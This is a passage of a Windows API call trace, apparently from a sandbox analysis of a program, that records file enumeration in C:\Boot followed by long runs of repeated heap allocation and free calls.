ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.591] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0119.591] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0119.591] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0119.591] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.591] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30229c0 | out: hHeap=0x5e0000) returned 1 [0119.591] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x30229c0 [0119.591] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.591] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.591] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.591] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.591] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.591] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.591] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.591] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.591] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.591] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.591] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.591] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.591] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.591] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.591] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.591] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.591] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.591] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.591] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.592] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.592] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.592] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.592] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307fdd8 [0119.592] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.592] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.592] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.592] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.592] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0119.592] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.592] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.592] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.592] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.592] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.592] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.592] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.592] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.592] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307fdd8 [0119.592] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.592] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.592] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.592] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.592] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.592] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.592] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.592] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.592] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.592] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.592] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.592] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.592] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.592] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.592] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.593] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.593] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.593] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.593] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.593] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307fdd8 [0119.593] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.593] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.593] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.593] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307fdd8 [0119.593] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.593] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.593] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.593] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.593] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.593] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.593] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.593] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.593] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.593] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.593] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.593] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.593] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.593] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.593] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.593] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.593] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.593] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.593] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.593] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.593] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.593] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.593] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.593] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.594] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.594] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.594] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.594] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.594] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.594] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.594] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.594] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.594] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.594] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.594] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.594] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.594] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.594] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.594] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.594] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.594] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.594] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.594] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0119.594] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.594] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.594] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.594] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.594] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.594] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.594] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.594] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.594] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.594] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.594] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.594] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.594] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.595] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.595] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.595] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.595] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.595] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.595] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.595] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.595] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.595] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.595] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.595] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.595] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.595] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.595] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307fdd8 [0119.595] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.595] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.595] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.595] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307fdd8 [0119.595] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.595] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.595] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.595] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.595] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.595] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.595] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.595] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.595] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.595] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.595] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.595] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.595] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.595] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.595] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.595] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.596] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.596] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.596] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.596] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.596] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.596] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.596] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.596] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.596] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.596] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.596] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.596] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.596] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.596] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.596] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.596] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.596] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.596] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.596] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.596] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.596] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.596] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.596] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.596] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.596] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.596] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.596] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.596] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.596] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.596] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.596] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.596] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.596] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.596] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.597] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.597] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.597] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.597] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.597] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.597] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.597] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.597] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.597] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.597] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.597] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.597] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.597] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.597] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307fdd8 [0119.597] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.597] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.597] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.597] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307fdd8 [0119.597] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.597] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.597] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.597] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.597] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.597] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.597] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.597] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.597] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.597] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.597] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.597] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.597] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.597] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.597] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.597] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.598] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.598] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.598] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.598] PathFindFileNameW (pszPath="C:\\Boot\\hu-HU\\") returned="hu-HU\\" [0119.598] PathFindFileNameW 